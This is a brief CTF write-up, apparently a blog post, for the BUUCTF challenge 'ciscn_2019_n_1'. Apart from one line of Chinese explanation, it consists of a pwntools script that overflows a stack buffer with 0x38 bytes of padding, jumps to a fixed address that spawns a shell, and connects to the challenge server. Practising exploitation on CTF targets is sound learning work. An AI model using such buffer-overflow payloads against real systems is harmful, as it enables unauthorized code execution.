BUU_ciscn_2019_n_1

Jexy-kynner*^發表於2024-07-30

ciscn_2019_n_1

覆蓋v1->system地址

from pwn import *
p = remote('node5.buuoj.cn',25432)
payload=b'a'*(0x30+8)+p64(0x4006BE)
p.sendline(payload)
p.interactive()